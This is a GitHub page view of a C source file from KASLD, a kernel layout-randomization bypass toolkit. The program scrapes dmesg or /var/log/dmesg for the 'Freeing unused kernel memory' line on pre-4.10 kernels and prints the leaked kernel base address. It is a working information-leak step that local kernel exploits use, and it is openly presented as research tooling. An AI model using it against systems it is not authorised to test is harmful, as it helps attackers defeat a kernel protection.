-
Notifications
You must be signed in to change notification settings - Fork 45
/
dmesg_free_reserved_area.c
137 lines (111 loc) · 3.18 KB
/
dmesg_free_reserved_area.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
// This file is part of KASLD - https://github.com/bcoles/kasld
//
// free_reserved_area() printed virtual memory layout information to dmesg
// for SMP kernels:
//
// x86:
// Freeing unused kernel memory: 872K (c19b4000 - c1a8e000)
//
// x86_64:
// Freeing unused kernel memory: 1476K (ffffffff81f41000 - ffffffff820b2000)
//
// arm64:
// Freeing initrd memory: 16776K (ffff80005745b000 - ffff8000584bd000)
//
// ppc64:
// Freeing unused kernel memory: 960K (c000000000920000 - c000000000a10000)
//
// Removed in kernel v4.10-rc1 on 2016-10-26:
// https://github.com/torvalds/linux/commit/adb1fe9ae2ee6ef6bc10f3d5a588020e7664dfa7
//
// Requires:
// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or
// readable /var/log/dmesg.
//
// References:
// https://web.archive.org/web/20171029060939/http://www.blackbunny.io/linux-kernel-x86-64-bypass-smep-kaslr-kptr_restric/
// https://github.com/torvalds/linux/commit/adb1fe9ae2ee6ef6bc10f3d5a588020e7664dfa7
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
// ---
// <[email protected]>
#define _GNU_SOURCE
#include "include/kasld.h"
#include "include/syslog.h"
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
unsigned long search_dmesg_free_reserved_area() {
char *syslog;
char *endptr;
char *substr;
char *line_buf;
char *addr_buf;
const char *needle = "Freeing unused kernel memory";
int size;
unsigned long addr = 0;
printf("[.] searching dmesg for free_reserved_area() info ...\n");
if (mmap_syslog(&syslog, &size))
return 0;
substr = strstr(syslog, needle);
if (substr == NULL)
return 0;
line_buf = strtok(substr, "\n");
if (line_buf == NULL)
return 0;
/* Freeing unused kernel memory: 1476K (ffffffff81f41000 - ffffffff820b2000)
*/
// printf("%s\n", line_buf);
addr_buf = strstr(line_buf, "(");
if (addr_buf == NULL)
return 0;
addr = strtoul(&addr_buf[1], &endptr, 16);
if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long search_dmesg_log_file_free_reserved_area() {
FILE *f;
char *endptr;
char *substr;
char *addr_buf;
char *line_buf;
const char *path = "/var/log/dmesg";
const char *needle = "Freeing unused kernel memory";
unsigned long addr = 0;
char buff[BUFSIZ];
printf("[.] searching %s for free_reserved_area() info ...\n", path);
f = fopen(path, "rb");
if (f == NULL) {
perror("[-] fopen");
return 0;
}
while ((fgets(buff, BUFSIZ, f)) != NULL) {
substr = strstr(buff, needle);
if (substr == NULL)
continue;
line_buf = strtok(substr, "\n");
if (line_buf == NULL)
break;
addr_buf = strstr(line_buf, "(");
if (addr_buf == NULL)
break;
addr = strtoul(&addr_buf[1], &endptr, 16);
if (addr >= KERNEL_BASE_MIN && addr <= KERNEL_BASE_MAX)
break;
addr = 0;
}
fclose(f);
return addr;
}
int main() {
unsigned long addr = search_dmesg_free_reserved_area();
if (!addr)
addr = search_dmesg_log_file_free_reserved_area();
if (!addr)
return 1;
printf("leaked __init_begin: %lx\n", addr);
printf("possible kernel base: %lx\n", addr & -KERNEL_ALIGN);
return 0;
}